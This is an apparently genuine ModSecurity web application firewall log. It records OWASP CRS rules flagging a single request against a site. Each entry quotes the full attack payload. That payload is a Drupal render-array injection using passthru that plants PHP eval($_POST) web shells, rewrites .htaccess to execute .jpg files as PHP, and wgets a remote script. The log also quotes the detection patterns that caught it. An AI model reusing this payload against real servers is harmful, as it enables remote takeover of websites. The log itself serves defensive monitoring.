[Fri Jul 17 08:16:52.307971 2026] [security2:error] [pid 1993619:tid 1993619] [client 74.7.227.161:0] ModSecurity: Warning. Pattern match "(?:;|\\\\{|\\\\||\\\\|\\\\||&|&&|\\\\n|\\\\r|\\\\$\\\\(|\\\\$\\\\(\\\\(|`|\\\\${|<\\\\(|>\\\\(|\\\\(\\\\s*\\\\))\\\\s*(?:{|\\\\s*\\\\(\\\\s*|\\\\w+=(?:[^\\\\s]*|\\\\$.*|\\\\$.*|<.*|>.*|\\\\'.*\\\\'|\\".*\\")\\\\s+|!\\\\s*|\\\\$)*\\\\s*(?:'|\\")*(?:[\\\\?\\\\*\\\\[\\\\]\\\\(\\\\)\\\\-\\\\|+\\\\w'\\"\\\\./\\\\\\\\]+/)?[\\\\\\\\'\\"]*(?:l[\\\\\\\\'\\"]* ..." at ARGS:name[#markup]. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "123"] [id "932100"] [msg "Remote Command Execution: Unix Command Injection"] [data "Matched Data: ; echo 'Vuln!!<?php @eval($_POST['pass']) ?>'> sites/default/files/vuln.php; echo 'Vuln!!<?php @eval($_POST['pass']) ?>'> vuln.php; cd sites/default/files/; echo 'AddType application/x-httpd-php .jpg' > .htaccess; wget 'http://40k.waszmann.de/Deutsch/images/up.php found within ARGS:name[#markup]: echo 'Vuln!! patch it Now!' > vuln.htm; echo 'Vuln!!<?php @eval($_POST['pass']) ?>'> sites/default/files/vuln.php; echo 'Vuln!!<?php @eval($_POST['pass']) ?>'> vuln.php; cd sites/default/files/; ec..."] [severit [hostname "www.anandaobauae.org"] [uri "/"] [unique_id "almXnI1dLClkUfK_dfHfXwAAAAI"], referer: http://www.anandaobauae.org/?name%5B%23markup%5D=echo+%27Vuln%21%21+patch+it+Now%21%27+%3E+vuln.htm%3B+echo+%27Vuln%21%21%3C%3Fphp+@eval%28$_POST%5B%27pass%27%5D%29+%3F%3E%27%3E+sites/default/files/vuln.php%3B+echo+%27Vuln%21%21%3C%3Fphp+@eval%28$_POST%5B%27pass%27%5D%29+%3F%3E%27%3E+vuln.php%3B+cd+sites/default/files/%3B+echo+%27AddType+application/x-httpd-php+.jpg%27+%3E+.htaccess%3B+wget+%27http://40k.waszmann.de/Deutsch/images/up.php%27&name%5B%23post_render%5D%5B%5D=passthru&name%5B%23type%5D=markup&q=user/passworduploads/img/events/1686741332_mn2023-big.jpeguploads/img/events/1686741332_mn2023-big.jpeguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/events/1686741332_mn2023-big.jpeg
[Fri Jul 17 08:16:52.308070 2026] [security2:error] [pid 1993619:tid 1993619] [client 74.7.227.161:0] ModSecurity: Warning. Pattern match "(?:;|\\\\{|\\\\||\\\\|\\\\||&|&&|\\\\n|\\\\r|\\\\$\\\\(|\\\\$\\\\(\\\\(|`|\\\\${|<\\\\(|>\\\\(|\\\\(\\\\s*\\\\))\\\\s*(?:{|\\\\s*\\\\(\\\\s*|\\\\w+=(?:[^\\\\s]*|\\\\$.*|\\\\$.*|<.*|>.*|\\\\'.*\\\\'|\\".*\\")\\\\s+|!\\\\s*|\\\\$)*\\\\s*(?:'|\\")*(?:[\\\\?\\\\*\\\\[\\\\]\\\\(\\\\)\\\\-\\\\|+\\\\w'\\"\\\\./\\\\\\\\]+/)?[\\\\\\\\'\\"]*(?:s[\\\\\\\\'\\"]* ..." at ARGS:name[#markup]. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "159"] [id "932105"] [msg "Remote Command Execution: Unix Command Injection"] [data "Matched Data: ; wget found within ARGS:name[#markup]: echo 'Vuln!! patch it Now!' > vuln.htm; echo 'Vuln!!<?php @eval($_POST['pass']) ?>'> sites/default/files/vuln.php; echo 'Vuln!!<?php @eval($_POST['pass']) ?>'> vuln.php; cd sites/default/files/; echo 'AddType application/x-httpd-php .jpg' > .htaccess; wget 'http://40k.waszmann.de/Deutsch/images/up.php'"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [t [hostname "www.anandaobauae.org"] [uri "/"] [unique_id "almXnI1dLClkUfK_dfHfXwAAAAI"], referer: http://www.anandaobauae.org/?name%5B%23markup%5D=echo+%27Vuln%21%21+patch+it+Now%21%27+%3E+vuln.htm%3B+echo+%27Vuln%21%21%3C%3Fphp+@eval%28$_POST%5B%27pass%27%5D%29+%3F%3E%27%3E+sites/default/files/vuln.php%3B+echo+%27Vuln%21%21%3C%3Fphp+@eval%28$_POST%5B%27pass%27%5D%29+%3F%3E%27%3E+vuln.php%3B+cd+sites/default/files/%3B+echo+%27AddType+application/x-httpd-php+.jpg%27+%3E+.htaccess%3B+wget+%27http://40k.waszmann.de/Deutsch/images/up.php%27&name%5B%23post_render%5D%5B%5D=passthru&name%5B%23type%5D=markup&q=user/passworduploads/img/events/1686741332_mn2023-big.jpeguploads/img/events/1686741332_mn2023-big.jpeguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/events/1686741332_mn2023-big.jpeg
[Fri Jul 17 08:16:52.308142 2026] [security2:error] [pid 1993619:tid 1993619] [client 74.7.227.161:0] ModSecurity: Warning. Pattern match "(?i)(?:;|\\\\{|\\\\||\\\\|\\\\||&|&&|\\\\n|\\\\r|`)\\\\s*[\\\\(,@\\\\'\\"\\\\s]*(?:[\\\\w'\\"\\\\./]+/|[\\\\\\\\'\\"\\\\^]*\\\\w[\\\\\\\\'\\"\\\\^]*:.*\\\\\\\\|[\\\\^\\\\.\\\\w '\\"/\\\\\\\\]*\\\\\\\\)?[\\"\\\\^]*(?:m[\\"\\\\^]*(?:y[\\"\\\\^]*s[\\"\\\\^]*q[\\"\\\\^]*l(?:[\\"\\\\^]*(?:d[\\"\\\\^]*u[\\"\\\\^]*m[\\"\\\\^]*p(?:[\\"\\\\^]*s[\\"\\\\^ ..." at ARGS:name[#markup]. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "256"] [id "932110"] [msg "Remote Command Execution: Windows Command Injection"] [data "Matched Data: ; echo found within ARGS:name[#markup]: echo 'Vuln!! patch it Now!' > vuln.htm; echo 'Vuln!!<?php @eval($_POST['pass']) ?>'> sites/default/files/vuln.php; echo 'Vuln!!<?php @eval($_POST['pass']) ?>'> vuln.php; cd sites/default/files/; echo 'AddType application/x-httpd-php .jpg' > .htaccess; wget 'http://40k.waszmann.de/Deutsch/images/up.php'"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-windows"] [tag "attack-rce"] [tag "paranoia-level/ [hostname "www.anandaobauae.org"] [uri "/"] [unique_id "almXnI1dLClkUfK_dfHfXwAAAAI"], referer: http://www.anandaobauae.org/?name%5B%23markup%5D=echo+%27Vuln%21%21+patch+it+Now%21%27+%3E+vuln.htm%3B+echo+%27Vuln%21%21%3C%3Fphp+@eval%28$_POST%5B%27pass%27%5D%29+%3F%3E%27%3E+sites/default/files/vuln.php%3B+echo+%27Vuln%21%21%3C%3Fphp+@eval%28$_POST%5B%27pass%27%5D%29+%3F%3E%27%3E+vuln.php%3B+cd+sites/default/files/%3B+echo+%27AddType+application/x-httpd-php+.jpg%27+%3E+.htaccess%3B+wget+%27http://40k.waszmann.de/Deutsch/images/up.php%27&name%5B%23post_render%5D%5B%5D=passthru&name%5B%23type%5D=markup&q=user/passworduploads/img/events/1686741332_mn2023-big.jpeguploads/img/events/1686741332_mn2023-big.jpeguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/events/1686741332_mn2023-big.jpeg
[Fri Jul 17 08:16:52.308232 2026] [security2:error] [pid 1993619:tid 1993619] [client 74.7.227.161:0] ModSecurity: Warning. Pattern match "(?i)(?:;|\\\\{|\\\\||\\\\|\\\\||&|&&|\\\\n|\\\\r|`)\\\\s*[\\\\(,@\\\\'\\"\\\\s]*(?:[\\\\w'\\"\\\\./]+/|[\\\\\\\\'\\"\\\\^]*\\\\w[\\\\\\\\'\\"\\\\^]*:.*\\\\\\\\|[\\\\^\\\\.\\\\w '\\"/\\\\\\\\]*\\\\\\\\)?[\\"\\\\^]*(?:s[\\"\\\\^]*(?:y[\\"\\\\^]*s[\\"\\\\^]*(?:t[\\"\\\\^]*e[\\"\\\\^]*m[\\"\\\\^]*(?:p[\\"\\\\^]*r[\\"\\\\^]*o[\\"\\\\^]*p[\\"\\\\^]*e ..." at ARGS:name[#markup]. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "295"] [id "932115"] [msg "Remote Command Execution: Windows Command Injection"] [data "Matched Data: ; wget found within ARGS:name[#markup]: echo 'Vuln!! patch it Now!' > vuln.htm; echo 'Vuln!!<?php @eval($_POST['pass']) ?>'> sites/default/files/vuln.php; echo 'Vuln!!<?php @eval($_POST['pass']) ?>'> vuln.php; cd sites/default/files/; echo 'AddType application/x-httpd-php .jpg' > .htaccess; wget 'http://40k.waszmann.de/Deutsch/images/up.php'"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-windows"] [tag "attack-rce"] [tag "paranoia-level/ [hostname "www.anandaobauae.org"] [uri "/"] [unique_id "almXnI1dLClkUfK_dfHfXwAAAAI"], referer: http://www.anandaobauae.org/?name%5B%23markup%5D=echo+%27Vuln%21%21+patch+it+Now%21%27+%3E+vuln.htm%3B+echo+%27Vuln%21%21%3C%3Fphp+@eval%28$_POST%5B%27pass%27%5D%29+%3F%3E%27%3E+sites/default/files/vuln.php%3B+echo+%27Vuln%21%21%3C%3Fphp+@eval%28$_POST%5B%27pass%27%5D%29+%3F%3E%27%3E+vuln.php%3B+cd+sites/default/files/%3B+echo+%27AddType+application/x-httpd-php+.jpg%27+%3E+.htaccess%3B+wget+%27http://40k.waszmann.de/Deutsch/images/up.php%27&name%5B%23post_render%5D%5B%5D=passthru&name%5B%23type%5D=markup&q=user/passworduploads/img/events/1686741332_mn2023-big.jpeguploads/img/events/1686741332_mn2023-big.jpeguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/events/1686741332_mn2023-big.jpeg
[Fri Jul 17 08:16:52.308358 2026] [security2:error] [pid 1993619:tid 1993619] [client 74.7.227.161:0] ModSecurity: Warning. Pattern match "(?:^|=)\\\\s*(?:{|\\\\s*\\\\(\\\\s*|\\\\w+=(?:[^\\\\s]*|\\\\$.*|\\\\$.*|<.*|>.*|\\\\'.*\\\\'|\\".*\\")\\\\s+|!\\\\s*|\\\\$)*\\\\s*(?:'|\\")*(?:[\\\\?\\\\*\\\\[\\\\]\\\\(\\\\)\\\\-\\\\|+\\\\w'\\"\\\\./\\\\\\\\]+/)?[\\\\\\\\'\\"]*(?:l[\\\\\\\\'\\"]*(?:s(?:[\\\\\\\\'\\"]*(?:b[\\\\\\\\'\\"]*_[\\\\\\\\'\\"]*r[\\\\\\\\'\\"]*e[\\\\\\\\'\\"]*l[\\\\\\\\' ..." at ARGS:name[#markup]. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "464"] [id "932150"] [msg "Remote Command Execution: Direct Unix Command Execution"] [data "Matched Data: echo  found within ARGS:name[#markup]: echo 'Vuln!! patch it Now!' > vuln.htm; echo 'Vuln!!<?php @eval($_POST['pass']) ?>'> sites/default/files/vuln.php; echo 'Vuln!!<?php @eval($_POST['pass']) ?>'> vuln.php; cd sites/default/files/; echo 'AddType application/x-httpd-php .jpg' > .htaccess; wget 'http://40k.waszmann.de/Deutsch/images/up.php'"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/ [hostname "www.anandaobauae.org"] [uri "/"] [unique_id "almXnI1dLClkUfK_dfHfXwAAAAI"], referer: http://www.anandaobauae.org/?name%5B%23markup%5D=echo+%27Vuln%21%21+patch+it+Now%21%27+%3E+vuln.htm%3B+echo+%27Vuln%21%21%3C%3Fphp+@eval%28$_POST%5B%27pass%27%5D%29+%3F%3E%27%3E+sites/default/files/vuln.php%3B+echo+%27Vuln%21%21%3C%3Fphp+@eval%28$_POST%5B%27pass%27%5D%29+%3F%3E%27%3E+vuln.php%3B+cd+sites/default/files/%3B+echo+%27AddType+application/x-httpd-php+.jpg%27+%3E+.htaccess%3B+wget+%27http://40k.waszmann.de/Deutsch/images/up.php%27&name%5B%23post_render%5D%5B%5D=passthru&name%5B%23type%5D=markup&q=user/passworduploads/img/events/1686741332_mn2023-big.jpeguploads/img/events/1686741332_mn2023-big.jpeguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/events/1686741332_mn2023-big.jpeg
[Fri Jul 17 08:16:52.308489 2026] [security2:error] [pid 1993619:tid 1993619] [client 74.7.227.161:0] ModSecurity: Warning. Pattern match "(?:<\\\\?(?:[^x]|x[^m]|xm[^l]|xml[^\\\\s]|xml$|$)|<\\\\?php|\\\\[(?:\\\\/|\\\\\\\\)?php\\\\])" at ARGS:name[#markup]. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "66"] [id "933100"] [msg "PHP Injection Attack: PHP Open Tag Found"] [data "Matched Data: <?p found within ARGS:name[#markup]: echo 'vuln!! patch it now!' > vuln.htm; echo 'vuln!!<?php @eval($_post['pass']) ?>'> sites/default/files/vuln.php; echo 'vuln!!<?php @eval($_post['pass']) ?>'> vuln.php; cd sites/default/files/; echo 'addtype application/x-httpd-php .jpg' > .htaccess; wget 'http://40k.waszmann.de/deutsch/images/up.php'"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "www.anandaobauae.org"] [uri "/"] [unique_id "almXnI1dLClkUfK_dfHfXwAAAAI"], referer: http://www.anandaobauae.org/?name%5B%23markup%5D=echo+%27Vuln%21%21+patch+it+Now%21%27+%3E+vuln.htm%3B+echo+%27Vuln%21%21%3C%3Fphp+@eval%28$_POST%5B%27pass%27%5D%29+%3F%3E%27%3E+sites/default/files/vuln.php%3B+echo+%27Vuln%21%21%3C%3Fphp+@eval%28$_POST%5B%27pass%27%5D%29+%3F%3E%27%3E+vuln.php%3B+cd+sites/default/files/%3B+echo+%27AddType+application/x-httpd-php+.jpg%27+%3E+.htaccess%3B+wget+%27http://40k.waszmann.de/Deutsch/images/up.php%27&name%5B%23post_render%5D%5B%5D=passthru&name%5B%23type%5D=markup&q=user/passworduploads/img/events/1686741332_mn2023-big.jpeguploads/img/events/1686741332_mn2023-big.jpeguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/events/1686741332_mn2023-big.jpeg
[Fri Jul 17 08:16:52.308566 2026] [security2:error] [pid 1993619:tid 1993619] [client 74.7.227.161:0] ModSecurity: Warning. Matched phrase "$_POST" at ARGS:name[#markup]. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "161"] [id "933130"] [msg "PHP Injection Attack: Variables Found"] [data "Matched Data: $_POST found within ARGS:name[#markup]: echo 'vuln!! patch it now!' > vuln.htm; echo 'vuln!!<?php @eval($_post['pass']) ?>'> sites/default/files/vuln.php; echo 'vuln!!<?php @eval($_post['pass']) ?>'> vuln.php; cd sites/default/files/; echo 'addtype application/x-httpd-php .jpg' > .htaccess; wget 'http:/40k.waszmann.de/deutsch/images/up.php'"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "www.anandaobauae.org"] [uri "/"] [unique_id "almXnI1dLClkUfK_dfHfXwAAAAI"], referer: http://www.anandaobauae.org/?name%5B%23markup%5D=echo+%27Vuln%21%21+patch+it+Now%21%27+%3E+vuln.htm%3B+echo+%27Vuln%21%21%3C%3Fphp+@eval%28$_POST%5B%27pass%27%5D%29+%3F%3E%27%3E+sites/default/files/vuln.php%3B+echo+%27Vuln%21%21%3C%3Fphp+@eval%28$_POST%5B%27pass%27%5D%29+%3F%3E%27%3E+vuln.php%3B+cd+sites/default/files/%3B+echo+%27AddType+application/x-httpd-php+.jpg%27+%3E+.htaccess%3B+wget+%27http://40k.waszmann.de/Deutsch/images/up.php%27&name%5B%23post_render%5D%5B%5D=passthru&name%5B%23type%5D=markup&q=user/passworduploads/img/events/1686741332_mn2023-big.jpeguploads/img/events/1686741332_mn2023-big.jpeguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/events/1686741332_mn2023-big.jpeg
[Fri Jul 17 08:16:52.308690 2026] [security2:error] [pid 1993619:tid 1993619] [client 74.7.227.161:0] ModSecurity: Warning. Pattern match "(?i)\\\\b(?:s(?:e(?:t(?:_(?:e(?:xception|rror)_handler|magic_quotes_runtime|include_path)|defaultstub)|ssion_s(?:et_save_handler|tart))|qlite_(?:(?:(?:unbuffered|single|array)_)?query|create_(?:aggregate|function)|p?open|exec)|tr(?:eam_(?:context_create| ..." at ARGS:name[#markup]. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "349"] [id "933160"] [msg "PHP Injection Attack: High-Risk PHP Function Call Found"] [data "Matched Data: eval($_POST['pass']) ?>'> sites/default/files/vuln.php; echo 'Vuln!!<?php @eval($_POST['pass']) found within ARGS:name[#markup]: echo 'Vuln!! patch it Now!' > vuln.htm; echo 'Vuln!!<?php @eval($_POST['pass']) ?>'> sites/default/files/vuln.php; echo 'Vuln!!<?php @eval($_POST['pass']) ?>'> vuln.php; cd sites/default/files/; echo 'AddType application/x-httpd-php .jpg' > .htaccess; wget 'http://40k.waszmann.de/Deutsch/images/up.php'"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-mul [hostname "www.anandaobauae.org"] [uri "/"] [unique_id "almXnI1dLClkUfK_dfHfXwAAAAI"], referer: http://www.anandaobauae.org/?name%5B%23markup%5D=echo+%27Vuln%21%21+patch+it+Now%21%27+%3E+vuln.htm%3B+echo+%27Vuln%21%21%3C%3Fphp+@eval%28$_POST%5B%27pass%27%5D%29+%3F%3E%27%3E+sites/default/files/vuln.php%3B+echo+%27Vuln%21%21%3C%3Fphp+@eval%28$_POST%5B%27pass%27%5D%29+%3F%3E%27%3E+vuln.php%3B+cd+sites/default/files/%3B+echo+%27AddType+application/x-httpd-php+.jpg%27+%3E+.htaccess%3B+wget+%27http://40k.waszmann.de/Deutsch/images/up.php%27&name%5B%23post_render%5D%5B%5D=passthru&name%5B%23type%5D=markup&q=user/passworduploads/img/events/1686741332_mn2023-big.jpeguploads/img/events/1686741332_mn2023-big.jpeguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/events/1686741332_mn2023-big.jpeg
[Fri Jul 17 08:16:52.308783 2026] [security2:error] [pid 1993619:tid 1993619] [client 74.7.227.161:0] ModSecurity: Warning. Pattern match "(?:(?:_(?:\\\\$\\\\$ND_FUNC\\\\$\\\\$_|_js_function)|(?:new\\\\s+Function|\\\\beval)\\\\s*\\\\(|String\\\\s*\\\\.\\\\s*fromCharCode|function\\\\s*\\\\(\\\\s*\\\\)\\\\s*{|this\\\\.constructor)|module\\\\.exports\\\\s*=)" at ARGS:name[#markup]. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-934-APPLICATION-ATTACK-NODEJS.conf"] [line "70"] [id "934100"] [msg "Node.js Injection Attack"] [data "Matched Data: eval( found within ARGS:name[#markup]: echo 'Vuln!! patch it Now!' > vuln.htm; echo 'Vuln!!<?php @eval($_POST['pass']) ?>'> sites/default/files/vuln.php; echo 'Vuln!!<?php @eval($_POST['pass']) ?>'> vuln.php; cd sites/default/files/; echo 'AddType application/x-httpd-php .jpg' > .htaccess; wget 'http://40k.waszmann.de/Deutsch/images/up.php'"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-javascript"] [tag "platform-multi"] [tag "attack-rce"] [tag "attack-injection-nodejs"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "www.anandaobauae.org"] [uri "/"] [unique_id "almXnI1dLClkUfK_dfHfXwAAAAI"], referer: http://www.anandaobauae.org/?name%5B%23markup%5D=echo+%27Vuln%21%21+patch+it+Now%21%27+%3E+vuln.htm%3B+echo+%27Vuln%21%21%3C%3Fphp+@eval%28$_POST%5B%27pass%27%5D%29+%3F%3E%27%3E+sites/default/files/vuln.php%3B+echo+%27Vuln%21%21%3C%3Fphp+@eval%28$_POST%5B%27pass%27%5D%29+%3F%3E%27%3E+vuln.php%3B+cd+sites/default/files/%3B+echo+%27AddType+application/x-httpd-php+.jpg%27+%3E+.htaccess%3B+wget+%27http://40k.waszmann.de/Deutsch/images/up.php%27&name%5B%23post_render%5D%5B%5D=passthru&name%5B%23type%5D=markup&q=user/passworduploads/img/events/1686741332_mn2023-big.jpeguploads/img/events/1686741332_mn2023-big.jpeguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/events/1686741332_mn2023-big.jpeg
[Fri Jul 17 08:16:52.310335 2026] [security2:error] [pid 1993619:tid 1993619] [client 74.7.227.161:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 50)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.anandaobauae.org"] [uri "/"] [unique_id "almXnI1dLClkUfK_dfHfXwAAAAI"], referer: http://www.anandaobauae.org/?name%5B%23markup%5D=echo+%27Vuln%21%21+patch+it+Now%21%27+%3E+vuln.htm%3B+echo+%27Vuln%21%21%3C%3Fphp+@eval%28$_POST%5B%27pass%27%5D%29+%3F%3E%27%3E+sites/default/files/vuln.php%3B+echo+%27Vuln%21%21%3C%3Fphp+@eval%28$_POST%5B%27pass%27%5D%29+%3F%3E%27%3E+vuln.php%3B+cd+sites/default/files/%3B+echo+%27AddType+application/x-httpd-php+.jpg%27+%3E+.htaccess%3B+wget+%27http://40k.waszmann.de/Deutsch/images/up.php%27&name%5B%23post_render%5D%5B%5D=passthru&name%5B%23type%5D=markup&q=user/passworduploads/img/events/1686741332_mn2023-big.jpeguploads/img/events/1686741332_mn2023-big.jpeguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/events/1686741332_mn2023-big.jpeg
[Fri Jul 17 08:16:52.313876 2026] [security2:error] [pid 1993619:tid 1993619] [client 74.7.227.161:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 50 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=30,PHPI=15,HTTP=0,SESS=0): individual paranoia level scores: 50, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almXnI1dLClkUfK_dfHfXwAAAAI"], referer: http://www.anandaobauae.org/?name%5B%23markup%5D=echo+%27Vuln%21%21+patch+it+Now%21%27+%3E+vuln.htm%3B+echo+%27Vuln%21%21%3C%3Fphp+@eval%28$_POST%5B%27pass%27%5D%29+%3F%3E%27%3E+sites/default/files/vuln.php%3B+echo+%27Vuln%21%21%3C%3Fphp+@eval%28$_POST%5B%27pass%27%5D%29+%3F%3E%27%3E+vuln.php%3B+cd+sites/default/files/%3B+echo+%27AddType+application/x-httpd-php+.jpg%27+%3E+.htaccess%3B+wget+%27http://40k.waszmann.de/Deutsch/images/up.php%27&name%5B%23post_render%5D%5B%5D=passthru&name%5B%23type%5D=markup&q=user/passworduploads/img/events/1686741332_mn2023-big.jpeguploads/img/events/1686741332_mn2023-big.jpeguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/events/1686741332_mn2023-big.jpeg
[Fri Jul 17 08:16:53.288597 2026] [security2:error] [pid 2002425:tid 2002425] [client 74.7.227.161:0] ModSecurity: Warning. Matched phrase ".htaccess" at ARGS:name[#markup]. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: .htaccess found within ARGS:name[#markup]: echo 'vuln!! patch it now!' > vuln.htm; echo 'vuln!!<?php @eval($_post['pass']) ?>'> sites/default/files/vuln.php; echo 'vuln!!<?php @eval($_post['pass']) ?>'> vuln.php; cd sites/default/files/; echo 'addtype application/x-httpd-php .jpg' > .htaccess; wget 'http:/40k.waszmann.de/deutsch/images/up.php'"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.anandaobauae.org"] [uri "/"] [unique_id "almXnaUJv0yl2bIgVrkLWgAAABU"], referer: http://www.anandaobauae.org/?name%5B%23markup%5D=echo+%27Vuln%21%21+patch+it+Now%21%27+%3E+vuln.htm%3B+echo+%27Vuln%21%21%3C%3Fphp+@eval%28$_POST%5B%27pass%27%5D%29+%3F%3E%27%3E+sites/default/files/vuln.php%3B+echo+%27Vuln%21%21%3C%3Fphp+@eval%28$_POST%5B%27pass%27%5D%29+%3F%3E%27%3E+vuln.php%3B+cd+sites/default/files/%3B+echo+%27AddType+application/x-httpd-php+.jpg%27+%3E+.htaccess%3B+wget+%27http://40k.waszmann.de/Deutsch/images/up.php%27&name%5B%23post_render%5D%5B%5D=passthru&name%5B%23type%5D=markup&q=user/passworduploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/events/1686741332_mn2023-big.jpeguploads/img/events/1686741332